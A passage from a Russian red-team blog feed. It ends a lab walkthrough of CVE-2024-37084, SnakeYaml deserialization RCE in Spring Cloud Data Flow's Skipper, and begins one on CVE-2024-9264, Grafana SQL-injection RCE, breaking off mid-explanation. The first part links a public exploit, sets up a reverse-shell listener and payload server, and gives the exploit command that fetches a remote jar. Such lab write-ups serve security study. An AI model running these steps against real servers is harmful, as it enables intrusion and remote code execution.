    &lt;li id=&quot;LzcD&quot;&gt;Проверка, что пакет был распакован&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;52v5&quot;&gt;String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + &amp;quot;-&amp;quot; + uploadRequest.getVersion();
File unpackagedFile = new File(unzippedPath);
Assert.isTrue(unpackagedFile.exists(), &amp;quot;Package is expected to be unpacked, but it doesn&amp;#x27;t exist&amp;quot;);&lt;/pre&gt;
  &lt;p id=&quot;ljm1&quot;&gt;Подтверждает, что процесс распаковки прошел успешно и распакованный файл существует.&lt;/p&gt;
  &lt;ul id=&quot;JiWb&quot;&gt;
    &lt;li id=&quot;uDff&quot;&gt;Чтение и проверка метаданных пакета&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;53vb&quot;&gt;Package packageToUpload = this.packageReader.read(unpackagedFile);
PackageMetadata packageMetadata = packageToUpload.getMetadata();
if (!packageMetadata.getName().equals(uploadRequest.getName()) || !packageMetadata.getVersion().equals(uploadRequest.getVersion())) {
	throw new SkipperException(String.format(&amp;quot;Package definition in the request [%s:%s] differs from one inside the package.yml [%s:%s]&amp;quot;,
			uploadRequest.getName(), uploadRequest.getVersion(), packageMetadata.getName(), packageMetadata.getVersion()));
}&lt;/pre&gt;
  &lt;p id=&quot;E4r0&quot;&gt;Проверка, что прочитанные метаданные из пакета были разархивированы, и проведено сравнение с запросом на загрузку данных.&lt;/p&gt;
  &lt;ul id=&quot;e9Mf&quot;&gt;
    &lt;li id=&quot;YX7B&quot;&gt;Сохранение метаданных и связывание их с репозиторием&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;0p6v&quot;&gt;if (localRepositoryToUpload != null) {
	packageMetadata.setRepositoryId(localRepositoryToUpload.getId());
	packageMetadata.setRepositoryName(localRepositoryToUpload.getName());
}
packageMetadata.setPackageFile(new PackageFile((uploadRequest.getPackageFileAsBytes())));
return this.packageMetadataRepository.save(packageMetadata);&lt;/pre&gt;
  &lt;p id=&quot;JI7H&quot;&gt;Связывает метаданные пакета с репозиторием (если таковые имеются), а затем сохраняет метаданные пакета в базе данных.&lt;/p&gt;
  &lt;ul id=&quot;G79o&quot;&gt;
    &lt;li id=&quot;3ywn&quot;&gt;Обработка исключения и удаление временного каталога&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;vNmE&quot;&gt;finally {
	if (packageDirPath != null &amp;amp;&amp;amp; !FileSystemUtils.deleteRecursively(packageDirPath.toFile())) {
		logger.warn(&amp;quot;Temporary directory can not be deleted: &amp;quot; + packageDirPath);
	}
}&lt;/pre&gt;
  &lt;p id=&quot;30HY&quot;&gt;Ранее созданные временные директории будут удалены после завершения процесса.&lt;/p&gt;
  &lt;p id=&quot;u44G&quot;&gt;Если удалить не удается, записываются предупреждения в журнал.&lt;/p&gt;
  &lt;p id=&quot;pEuR&quot;&gt;Описание метода &lt;code&gt;read()&lt;/code&gt; в файле &lt;code&gt;DefaultPackageReader.java&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;SbLi&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/5e/715ef808-0ff4-49ad-a65e-c7dfb3026497.png&quot; width=&quot;1570&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;J1tg&quot;&gt;
    &lt;li id=&quot;Ncn3&quot;&gt;Проверка и просмотр файлов в директории&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;558M&quot;&gt;Assert.notNull(packageDirectory, &amp;quot;File to load package from can not be null&amp;quot;);
try (Stream&amp;lt;Path&amp;gt; paths = Files.walk(Paths.get(packageDirectory.getPath()), 1)) {
    files = paths.map(i -&amp;gt; i.toAbsolutePath().toFile()).collect(Collectors.toList());
}
catch (IOException e) {
    throw new SkipperException(&amp;quot;Could not process files in path &amp;quot; + packageDirectory.getPath() + &amp;quot;. &amp;quot; + e.getMessage(), e);
}&lt;/pre&gt;
  &lt;ul id=&quot;S8u4&quot;&gt;
    &lt;ul id=&quot;Hk8t&quot;&gt;
      &lt;li id=&quot;jjX9&quot;&gt;Проверяет правильность передачи по директориям. Затем использует &lt;code&gt;Files.walk()&lt;/code&gt;, чтобы просмотреть файлы в директории, получает список файлов и сохраняет в &lt;code&gt;files&lt;/code&gt;.&lt;/li&gt;
      &lt;li id=&quot;SntJ&quot;&gt;Проверяет, что директория не пуста, и обработывает исключение в случае, если не удается прочитать&lt;/li&gt;
    &lt;/ul&gt;
    &lt;li id=&quot;ZBsF&quot;&gt;Обработка каждого файла&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;GF1I&quot;&gt;for (File file : files) {
    if (file.getName().equalsIgnoreCase(&amp;quot;package.yaml&amp;quot;) || file.getName().equalsIgnoreCase(&amp;quot;package.yml&amp;quot;)) {
        pkg.setMetadata(loadPackageMetadata(file)); // note 
        continue;
    }
    if (file.getName().endsWith(&amp;quot;manifest.yaml&amp;quot;) || file.getName().endsWith(&amp;quot;manifest.yml&amp;quot;)) {
        fileHolders.add(loadManifestFile(file));
        continue;
    }
    if (file.getName().equalsIgnoreCase(&amp;quot;values.yaml&amp;quot;) || file.getName().equalsIgnoreCase(&amp;quot;values.yml&amp;quot;)) {
        pkg.setConfigValues(loadConfigValues(file));
        continue;
    }
    if (file.getAbsoluteFile().isDirectory() &amp;amp;&amp;amp; file.getName().equals(&amp;quot;templates&amp;quot;)) {
        pkg.setTemplates(loadTemplates(file));
        continue;
    }
    if ((file.getName().equalsIgnoreCase(&amp;quot;packages&amp;quot;) &amp;amp;&amp;amp; file.isDirectory())) {
        File[] dependentPackageDirectories = file.listFiles();
        List&amp;lt;Package&amp;gt; dependencies = new ArrayList&amp;lt;&amp;gt;();
        for (File dependentPackageDirectory : dependentPackageDirectories) {
            dependencies.add(read(dependentPackageDirectory));
        }
        pkg.setDependencies(dependencies);
    }
}&lt;/pre&gt;
  &lt;p id=&quot;ekxa&quot;&gt;Этот цикл просматривает файлы, сортируя их в соответствии с каждым типом, который должен обрабатываться.&lt;/p&gt;
  &lt;ul id=&quot;oCUp&quot;&gt;
    &lt;li id=&quot;IQG0&quot;&gt;Загрузка пакета метаданных&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;15Be&quot;&gt;private PackageMetadata loadPackageMetadata(File file) {
    DumperOptions options = new DumperOptions();
    Representer representer = new Representer(options);
    representer.getPropertyUtils().setSkipMissingProperties(true);
    LoaderOptions loaderOptions = new LoaderOptions();
    Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
    String fileContents = null;
    try {
        fileContents = FileUtils.readFileToString(file);
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Error reading yaml file&amp;quot;, e);
    }
    PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
    return pkgMetadata;
}&lt;/pre&gt;
  &lt;p id=&quot;lmLS&quot;&gt;Эта функция использует библиотеку &lt;code&gt;SnakeYaml&lt;/code&gt; для чтения файла &lt;code&gt;YAML&lt;/code&gt; и преобразует его в &lt;code&gt;objectPackageMetadata&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;wikZ&quot;&gt;Она использует конструктор для отображения свойств файла &lt;code&gt;YAML&lt;/code&gt; в object &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;ul id=&quot;gbEF&quot;&gt;
    &lt;li id=&quot;ioQP&quot;&gt;Загрузка шаблона файла&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;nZP2&quot;&gt;private List&amp;lt;Template&amp;gt; loadTemplates(File templatePath) {
    try (Stream&amp;lt;Path&amp;gt; paths = Files.walk(Paths.get(templatePath.getAbsolutePath()), 1)) {
        files = paths.map(i -&amp;gt; i.toAbsolutePath().toFile()).collect(Collectors.toList());
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Could not process files in template path &amp;quot; + templatePath, e);
    }

    List&amp;lt;Template&amp;gt; templates = new ArrayList&amp;lt;&amp;gt;();
    for (File file : files) {
        if (isYamlFile(file)) {
            Template template = new Template();
            template.setName(file.getName());
            try {
                template.setData(new String(Files.readAllBytes(file.toPath()), &amp;quot;UTF-8&amp;quot;));
            }
            catch (IOException e) {
                throw new SkipperException(&amp;quot;Could read template file &amp;quot; + file.getAbsoluteFile(), e);
            }
            templates.add(template);
        }
    }
    return templates;
}&lt;/pre&gt;
  &lt;p id=&quot;uREP&quot;&gt;Эта функция переходит в папку &amp;quot;шаблоны&amp;quot;, считывает каждый файл &lt;strong&gt;&lt;code&gt;YAML&lt;/code&gt;&lt;/strong&gt; и преобразует в &lt;code&gt;object Template&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;3s2U&quot;&gt;Она загружает содержимое файла и сохраняет в шаблоне для последующего использования.&lt;/p&gt;
  &lt;ul id=&quot;vxN0&quot;&gt;
    &lt;li id=&quot;4AOP&quot;&gt;Загрузка значений конфигурации&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;HuVU&quot;&gt;private ConfigValues loadConfigValues(File file) {
    ConfigValues configValues = new ConfigValues();
    try {
        configValues.setRaw(new String(Files.readAllBytes(file.toPath()), &amp;quot;UTF-8&amp;quot;));
    }
    catch (IOException e) {
        throw new SkipperException(&amp;quot;Could read values file &amp;quot; + file.getAbsoluteFile(), e);
    }
    return configValues;
}&lt;/pre&gt;
  &lt;p id=&quot;aWRL&quot;&gt;Считывает значения &lt;code&gt;файла.yaml&lt;/code&gt; или &lt;code&gt;values.yml&lt;/code&gt; и сохраняет его содержимое в объекте &lt;code&gt;ConfigValues&lt;/code&gt;.&lt;/p&gt;
  &lt;ul id=&quot;hDHA&quot;&gt;
    &lt;li id=&quot;0mwY&quot;&gt;Загрузка packageMetadata&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;Ssqw&quot;&gt;private PackageMetadata loadPackageMetadata(File file) {
		// The Representer will not try to set the value in the YAML on the
		// Java object if it isn&amp;#x27;t present on the object
		DumperOptions options = new DumperOptions();
		Representer representer = new Representer(options);
		representer.getPropertyUtils().setSkipMissingProperties(true);
		LoaderOptions loaderOptions = new LoaderOptions();
		Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);
		String fileContents = null;
		try {
			fileContents = FileUtils.readFileToString(file);
		}
		catch (IOException e) {
			throw new SkipperException(&amp;quot;Error reading yaml file&amp;quot;, e);
		}
		PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);
		return pkgMetadata;
	}
	PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);&lt;/pre&gt;
  &lt;p id=&quot;77QG&quot;&gt;Содержимое строки &lt;code&gt;YAML&lt;/code&gt; (&lt;code&gt;FileContents&lt;/code&gt;) преобразуется в объект &lt;code&gt;PackageMetadata&lt;/code&gt; с помощью&lt;code&gt; yaml.load(FileContents)&lt;/code&gt; из библиотеки &lt;code&gt;SnakeYaml&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;gzi3&quot;&gt;&lt;strong&gt;Десериализация&lt;/strong&gt;: Когда &lt;code&gt;SnakeYaml&lt;/code&gt; встречает тег &lt;code&gt;!!javax.script.ScriptEngineManager&lt;/code&gt; создает объект класса &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;7NiB&quot;&gt;Это может привести к выполнению кода &lt;code&gt;Java&lt;/code&gt;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;UtxF&quot;&gt;Реализация уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8tdu&quot;&gt;Готовое решение для генерации полезной нагрузки можно скачать из &lt;code&gt;github&lt;/code&gt; репозитория:&lt;/p&gt;
  &lt;p id=&quot;Vy9u&quot;&gt;&lt;a href=&quot;https://github.com/Ly4j/CVE-2024-37084-Exp&quot; target=&quot;_blank&quot;&gt;https://github.com/Ly4j/CVE-2024-37084-Exp&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;evIt&quot;&gt;Меняем содержимое функции &lt;code&gt;Runtime.getRunrime().exec()&lt;/code&gt; в файле &lt;code&gt;src/rtsploit/AwesomeScriptEngineFactory.java&lt;/code&gt;.&lt;/p&gt;
  &lt;figure id=&quot;izeG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f5/8e/f58ede79-065a-4a46-b7d1-c1ec80c752f7.png&quot; width=&quot;1342&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;vJJB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5a/b4/5ab4cb21-4d8a-46f0-9073-7415759e079a.png&quot; width=&quot;708&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nUVI&quot;&gt;Поднимаем слушателя на указанный в нагрузке порт:&lt;/p&gt;
  &lt;figure id=&quot;tkF3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/55/0b55a56e-d213-4366-a70b-2a16c7dfae69.png&quot; width=&quot;515&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NRmV&quot;&gt;Запускаем &lt;code&gt;generate-yaml-payload.jar.py&lt;/code&gt;, чтобы создать файл &lt;code&gt;yaml-payload.jar командой&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;rnX0&quot;&gt;python generate-yaml-payload.jar.py&lt;/pre&gt;
  &lt;figure id=&quot;1CHx&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/00/09000222-073b-4009-b293-50099a075a62.png&quot; width=&quot;1084&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8ijY&quot;&gt;Поднимаем веб-сервис с помощью Python командой:&lt;/p&gt;
  &lt;pre id=&quot;r6Um&quot;&gt;python3 -m http.server 8080&lt;/pre&gt;
  &lt;figure id=&quot;yANa&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9a/cf/9acf3e7c-fab6-44a8-abc4-4a7b463e82d8.png&quot; width=&quot;528&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;ozDO&quot;&gt;Каждый раз, когда вы выполняете другую команду, вам нужно переименовывать файл &lt;code&gt;yaml-payload.jar&lt;/code&gt;, то есть файл &lt;code&gt;xx.jar&lt;/code&gt;, к которому вы обращаетесь, каждый раз под другим именем.&lt;/blockquote&gt;
  &lt;p id=&quot;BebO&quot;&gt;В противном случае новая команда не будет действовать.&lt;/p&gt;
  &lt;p id=&quot;n0DU&quot;&gt;Эксплуатируем:&lt;/p&gt;
  &lt;pre id=&quot;gun1&quot;&gt;cve-2024-37084-exp.py -u http://localhost:7577 -payload http://ip-address:port/yaml-payload.jar&lt;/pre&gt;
  &lt;figure id=&quot;kAJr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/50/ed/50edce6e-2fc9-4cac-be6c-790ad3ddfa83.png&quot; width=&quot;1818&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;2OlL&quot;&gt;Заключение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;mb1N&quot;&gt;В версиях &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt; до &lt;code&gt;2.11.4&lt;/code&gt; злоумышленник, имеющий доступ к &lt;code&gt;API-интерфейсу сервера Skipper&lt;/code&gt;, может использовать специально созданный запрос на загрузку для записи произвольного файла в любое место в файловой системе, что может привести к выполнению произвольного кода на стороне сервера.&lt;/p&gt;
  &lt;p id=&quot;67RS&quot;&gt;Чтобы исправить уязвимость &lt;code&gt;CVE-2024-37084&lt;/code&gt; в &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;, рекомендуется обновить версию до &lt;code&gt;2.11.4&lt;/code&gt; или &lt;code&gt;выше&lt;/code&gt;.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:grafana_sql_cve_2024_9264</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/grafana_sql_cve_2024_9264?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Уязвимость CVE-2024-9264: Удаленное выполнение кода в Grafana через SQL-выражения</title><published>2024-12-03T10:53:53.626Z</published><updated>2024-12-03T10:56:30.469Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/6a/95/6a9527d9-e693-4c56-a3dd-eb99a1922fee.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/80/06/800639fe-f413-401b-85b9-03ad579513e8.jpeg&quot;&gt;Grafana – это популярная платформа для мониторинга и визуализации данных. Уязвимость CVE-2024-9264 представляет собой критический баг в системе мониторинга и визуализации данных Grafana, связанный с недостаточной фильтрацией входных данных в экспериментальной функции SQL-выражений. Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные SQL-запросы в базе данных DuckDB, что открывает возможности для проведения SQL-инъекций.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Guhh&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;lnXm&quot;&gt;&lt;strong&gt;Grafana&lt;/strong&gt; – это популярная платформа для мониторинга и визуализации данных,&lt;br /&gt;которая широко используется в &lt;code&gt;IT&lt;/code&gt;-среде для создания интерактивных панелей&lt;br /&gt;управления и графиков на основе различных источников данных. Она поддерживает интеграцию с множеством баз данных и сервисов, включая &lt;code&gt;Prometheus&lt;/code&gt;, &lt;code&gt;InfluxDB&lt;/code&gt;, &lt;code&gt;Graphite&lt;/code&gt;, &lt;code&gt;MySQL&lt;/code&gt;, &lt;code&gt;PostgreSQL&lt;/code&gt; и другие. &lt;/p&gt;
  &lt;p id=&quot;12eo&quot;&gt;Благодаря своей гибкости и удобству использования, &lt;code&gt;Grafana&lt;/code&gt; стала стандартным инструментом для многих компаний, работающих с большими объемами данных. &lt;code&gt;Grafana&lt;/code&gt; предоставляет мощные инструменты для анализа метрик и логов, позволяя пользователям создавать настраиваемые дашборды, отслеживать производительность приложений и инфраструктуры, а также получать уведомления о критических событиях.&lt;/p&gt;
  &lt;p id=&quot;dnjz&quot;&gt;&lt;strong&gt;DuckDB&lt;/strong&gt; – это встроенная база данных, ориентированная на работу с аналитическими запросами и обработку больших объемов данных. Это легковесная реляционная система управления базами данных (&lt;code&gt;СУБД&lt;/code&gt;), разработанная для встраивания в приложения и работы непосредственно в оперативной памяти. &lt;code&gt;DuckDB&lt;/code&gt; поддерживает &lt;code&gt;SQL&lt;/code&gt;-запросы и оптимизирован для быстрого выполнения сложных аналитических запросов.&lt;/p&gt;
  &lt;p id=&quot;dXeQ&quot;&gt;Одной из ключевых особенностей &lt;code&gt;DuckDB&lt;/code&gt; является её способность работать внутри других приложений, таких как &lt;code&gt;Grafana&lt;/code&gt;, обеспечивая высокую скорость обработки данных и минимальные требования к ресурсам. Однако, как и любое программное обеспечение, они не застрахованы от уязвимостей, одна из которых будет рассмотрена далее.&lt;/p&gt;
  &lt;blockquote id=&quot;W6Sg&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;pXbV&quot;&gt;Описание уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wymx&quot;&gt;Уязвимость &lt;code&gt;CVE-2024-9264&lt;/code&gt; представляет собой критический баг в системе мониторинга и визуализации данных &lt;code&gt;Grafana&lt;/code&gt;, связанный с недостаточной фильтрацией входных данных в экспериментальной функции &lt;code&gt;SQL&lt;/code&gt;-выражений. &lt;/p&gt;
  &lt;p id=&quot;psPm&quot;&gt;Данная уязвимость позволяет любым аутентифицированным пользователям выполнять произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы в базе данных &lt;code&gt;DuckDB&lt;/code&gt;, что открывает возможности для проведения &lt;code&gt;SQL&lt;/code&gt;-инъекций.&lt;/p&gt;
  &lt;p id=&quot;2fzT&quot;&gt;Злоумышленники могут использовать эту уязвимость для &lt;code&gt;LFI&lt;/code&gt; (чтения файлов на сервера) или даже &lt;code&gt;RCE&lt;/code&gt; (выполнения произвольного кода на сервера). Уязвимость имеет оценку в &lt;code&gt;9.4&lt;/code&gt; баллов по &lt;code&gt;CVSS&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;7GIX&quot;&gt;&lt;strong&gt;SQL-инъекция&lt;/strong&gt; — это тип уязвимости в веб-приложениях, позволяющий злоумышленникам вставлять произвольные &lt;code&gt;SQL&lt;/code&gt; -запросы в поля ввода, что может привести к несанкционированному доступу к данным, их изменению или удалению.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;EVul&quot;&gt;&lt;strong&gt;LFI (Local File Inclusion)&lt;/strong&gt; – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам включать локальные файлы на сервере в ответ на запрос пользователя. Это может привести к раскрытию конфиденциальной информации, такой как пароли или исходный код приложения.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;zhjB&quot;&gt;&lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt; – это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;0xAZ&quot;&gt;Подготовка стендового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;d1FJ&quot;&gt;Сначала создадим файл &lt;code&gt;Dockerfile&lt;/code&gt; . Этот файл будет использоваться для построения &lt;code&gt;Docker&lt;/code&gt;-образа, который включает в себя &lt;code&gt;Grafana&lt;/code&gt; и &lt;code&gt;DuckDB&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;lPw7&quot;&gt;Так как &lt;code&gt;CVE-2024-9264&lt;/code&gt; подвержены версии &lt;code&gt;Grafana OSS&lt;/code&gt; и &lt;code&gt;Enterprise 11.0.0&lt;/code&gt; — &lt;code&gt;11.0.5&lt;/code&gt;, &lt;code&gt;11.1.0&lt;/code&gt; — &lt;code&gt;11.1.6&lt;/code&gt; и &lt;code&gt;11.2.0&lt;/code&gt; — &lt;code&gt;11.2.1&lt;/code&gt;, будем использовать &lt;code&gt;grafana&lt;/code&gt; &lt;code&gt;11.0.0&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;mgMq&quot;&gt;Для работы этой уязвимости двоичный файл &lt;code&gt;DuckDB&lt;/code&gt; должен присутствовать в&lt;br /&gt;&lt;code&gt;$PATH&lt;/code&gt; &lt;code&gt;Grafana&lt;/code&gt;. По умолчанию этот двоичный файл не устанавливается в дистрибутивах &lt;code&gt;Grafana&lt;/code&gt;, поэтом при подготовки стенда мы дополним &lt;code&gt;Dockerfile&lt;/code&gt;&lt;br /&gt;установкой &lt;code&gt;DuckDB&lt;/code&gt;: &lt;a href=&quot;https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip&quot; target=&quot;_blank&quot;&gt;https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cli-linux-amd64.zip&lt;/a&gt;&lt;/p&gt;
  &lt;pre id=&quot;0qkX&quot;&gt;# Dockerfile
FROM grafana/grafana:11.0.0-ubuntu

USER root

# Установка DuckDB
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y &amp;amp;&amp;amp; apt-get install unzip -
y \
   wget \
   &amp;amp;&amp;amp; wget
https://github.com/duckdb/duckdb/releases/download/v1.1.2/duckdb_cl
i-linux-amd64.zip \
   &amp;amp;&amp;amp; unzip duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
   &amp;amp;&amp;amp; chmod +x /usr/local/bin/duckdb \
   &amp;amp;&amp;amp; rm duckdb_cli-linux-amd64.zip
   
# Добавление DuckDB в PATH
ENV PATH=&amp;quot;/usr/local/bin:${PATH}&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;PIYS&quot;&gt;Соберем Dockerfile в новый образ:&lt;/p&gt;
  &lt;pre id=&quot;uL92&quot;&gt;docker build -t test-cve-grafana-duckdb .&lt;/pre&gt;
  &lt;p id=&quot;czME&quot;&gt;Эта команда создаст новый Docker-образ с именем &lt;code&gt;test-cve-grafana-&lt;br /&gt;duckdb&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;rapg&quot;&gt;Запустим созданный Docker-образ:&lt;/p&gt;
  &lt;pre id=&quot;OX0A&quot;&gt;sudo docker run --name=grafana -p 3000:3000 test-cve-grafana-
duckdb&lt;/pre&gt;
  &lt;h3 id=&quot;SB3U&quot;&gt;Создание пользователя&lt;/h3&gt;
  &lt;p id=&quot;DAR8&quot;&gt;После запуска Docker-образа перейдем по &lt;a href=&quot;http://localhost:3000&quot; target=&quot;_blank&quot;&gt;http://localhost:3000&lt;/a&gt; и авторизуемся со стандартным логином и паролем &lt;code&gt;admin:admin&lt;/code&gt; , после чего создадим нового пользователя с минимальной ролью viewer (только на просмотр)&lt;/p&gt;
  &lt;figure id=&quot;iSVL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/af/64/af647087-b949-400d-b6f9-a2fd85bfab4d.png&quot; width=&quot;1910&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;aOvf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/21/8a214afc-78e3-451f-8992-6a95bbae22ce.png&quot; width=&quot;1916&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;WWeR&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;1rFl&quot;&gt;Уязвимым является запрос &lt;code&gt;POST&lt;/code&gt; к &lt;code&gt;/api/ds/query&lt;/code&gt; в &lt;code&gt;Grafana&lt;/code&gt;, который предназначен для выполнения запросов к источникам данных (&lt;code&gt;Data Sources&lt;/code&gt;) для сохранения или обновления панели управления. С помощью этого &lt;code&gt;API&lt;/code&gt; пользователи могут отправлять запросы к различным подключенным базам данных или другим источникам данных, настроенным в &lt;code&gt;Grafana&lt;/code&gt;, и получать результаты этих запросов.&lt;/p&gt;
  &lt;p id=&quot;LaqK&quot;&gt;Схема тела &lt;code&gt;JSON&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;oTIO&quot;&gt;
    &lt;li id=&quot;Rpyk&quot;&gt;&lt;strong&gt;queries: &lt;/strong&gt;массив объектов, каждый из которых описывает отдельный запрос кисточнику данных.&lt;/li&gt;
    &lt;ul id=&quot;Yr5u&quot;&gt;
      &lt;li id=&quot;UevN&quot;&gt;&lt;strong&gt;refId:&lt;/strong&gt; Уникальный идентификатор запроса. В данном случае &lt;code&gt;&amp;quot;GIS&amp;quot;,&lt;/code&gt; но может быть любым.&lt;/li&gt;
      &lt;li id=&quot;z3x2&quot;&gt;&lt;strong&gt;datasource:&lt;/strong&gt; Информация об источнике данных, к которому отправляется запрос.&lt;/li&gt;
      &lt;ul id=&quot;bxLP&quot;&gt;
        &lt;li id=&quot;to0h&quot;&gt;&lt;strong&gt;type&lt;/strong&gt;: Тип источника данных. Здесь указан &lt;code&gt;&amp;quot;GIS&amp;quot;.&lt;/code&gt;&lt;/li&gt;
        &lt;li id=&quot;B1ey&quot;&gt;&lt;strong&gt;uid&lt;/strong&gt;: Уникальный идентификатор источника данных. &lt;code&gt;&amp;quot;__expr__&amp;quot;&lt;/code&gt;, что указывает на использование экспериментальных выражений.&lt;/li&gt;
        &lt;li id=&quot;TwCQ&quot;&gt;&lt;strong&gt;name&lt;/strong&gt;: Имя источника данных. Указано как &lt;code&gt;&amp;quot;GIS&amp;quot;&lt;/code&gt; .&lt;br /&gt;&lt;/li&gt;
      &lt;/ul&gt;
      &lt;li id=&quot;lukL&quot;&gt;&lt;strong&gt;type&lt;/strong&gt;: Тип запроса. В данном случае &lt;code&gt;&amp;quot;sql&amp;quot;&lt;/code&gt; , что указывает на &lt;code&gt;SQL&lt;/code&gt;- запрос.&lt;/li&gt;
      &lt;li id=&quot;JTDf&quot;&gt;&lt;strong&gt;hide&lt;/strong&gt;: Флаг, определяющий, следует ли скрывать результат запроса. Установлен в &lt;code&gt;false&lt;/code&gt; .&lt;/li&gt;
